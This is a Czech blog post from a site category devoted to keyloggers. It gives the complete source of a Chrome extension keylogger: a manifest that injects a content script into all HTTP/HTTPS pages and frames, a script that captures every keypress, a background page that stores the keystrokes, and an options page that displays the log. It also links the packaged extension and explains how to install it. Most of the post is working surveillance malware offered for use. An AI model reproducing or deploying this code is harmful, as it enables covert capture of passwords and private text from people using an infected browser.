Kategorie: Keyloggery

Keylogger jako rozšíření / extension pro Google Chrome

Že jsou keyloggery velice nebezpečné je veřejně známé. Jednoduchost sepsání primitivního keyloggeru je velká a uživatelů, kteří instalují kdejaké rozšíření ještě více - smrtelná kombinace!

Anonymita v Ubuntu

Autor: KdoSiOdJinud | Vydáno: 24.5.2011 1:34 | Přečteno: 23477x | Komentářů: 0

Jak na to

Rozšíření pro google chrome nejsou nic jiného než javascript a trocha API. Doposud jsem s tvorbou rozšíření neměl zkušenosti, ale zkusil jsem si napsat jednoduchý keylogger. Požadavky jsem měl takovéto:

  • rozšíření bude vidět jen v seznamu rozšíření
  • nebude potřeba žádný externí php script
  • bude co nejjednodušší

Zdrojový kod

O psaní doplňků pro google chrome se tu rozepisovat nebudu, ani toho nejsem s mými schopnostmi hoden, informace jak tvořit poměrně lehce dohledáte :-). Až dohledáte, zjistíte, že jsou potřeba tyto soubory - jejich obsah zde uvádím:

manifest.json

{
"name" : "KeyLog for Chrome",
"version" : "0.1",
"description" : "KeyLog for Chrome by KdoSiOdJinud | www.kdosiodjinud.cz",
"background_page" : "bg.html",
"options_page": "option.html",
"page_action" :
{
"default_title" : "KeyLog for Chrome"
},

"permissions": [
"unlimitedStorage"
],

"content_scripts" : [
{
"matches" : [
"http://*/*",
"https://*/*"
],
"js" : ["contentscript.js"],
"run_at" : "document_end",
"all_frames" : true
}
]
}

contentscript.js

//vycisteni klaves
var klavesy='';

//rozpoznani stiknute klavesy
document.onkeypress = function(log) {

//separace a nalezeni prislusneho pismena
udalost = window.event?event:log;
key = udalost.keyCode?udalost.keyCode:udalsot.charCode;
key = String.fromCharCode(key);

//tvoreni chlivecku pro odeslani :-)
klavesy+=key;

//kdyz retezec dosahne urcite delky, odesle se k zapisu
if (klavesy.length > 5){
chrome.extension.sendRequest({zaznam: klavesy}, function(response) {});
//po odeslani vycistime, aby jsme neposilali znovu to same
klavesy = '';
}
}

//nebo odeslani po case
window.setInterval(function(){

chrome.extension.sendRequest({zaznam: klavesy}, function(response) {});
klavesy = '';
}, 250);

bg.html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" >
<meta http-equiv="Content-Script-Type" content="text/javascript" >
<script>
chrome.extension.onRequest.addListener(
function(request) {
//zapsani klaves zaznamenanych na vsech tabech do jedne storage
localStorage['zaznam'] += request.zaznam ;
});
</script>
</head>
</html>

option.html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" >
<meta http-equiv="Content-Style-Type" content="text/css" >
<meta http-equiv="Content-Script-Type" content="text/javascript" >
<script type="text/javascript">
function formLoad(){
keylog.zaznam.value = localStorage['zaznam'];
}

function formClear(){
localStorage['zaznam'] = "";
keylog.zaznam.value = localStorage['zaznam'];
}
</script>

<title>Log</title>
</head>
<body onload="formLoad();">
<h1>Log - Keylogger pro Chrome v0.1</h1>
<p>Navštivte <a target="_blank" href="http://www.kdosiodjinud.cz">www.kdosiodjinud.cz</a> a získejte přehled o nejrůznějších keyloggerech a metodách odposlechu!</p>

<form method="post" action="" id="keylog">
<textarea style="width: 80%; min-height: 500px;" id="zaznam"></textarea>
</form>

<input type="button" name="clear" value="Vyčistit" onClick="formClear();">

</body>
</html>

Tak a to je vše, myslím, že kod je celkem jasný - je to prakticky totožné s keyloggerem v javascriptu co jsem již popisoval.

Download

Keylog_chrome.crx - doplněk pro Google Chrome (při stažení v Google Chrome stačí kliknout na pokračovat > instalovat)
Keylog_chrome.rar - výše zmíněné zdrojové soubory v RARu

Použití

Po instalaci se do logu keyloggeru dostanete v přehledu rozšíření, kde stačí kliknout na "možnosti". Jedná se o rychlou první verzi, uvidíme jestli se někdy ještě pustím do vylepšení - primárně je na řadě projekt KSOJ. :-)

Komentáře rss

Pokud hledáte službu či máte dotaz mimo téma článku, využijte prosím sekci Nabídky / poptávky.


Nebyly přidány žádné komentáře.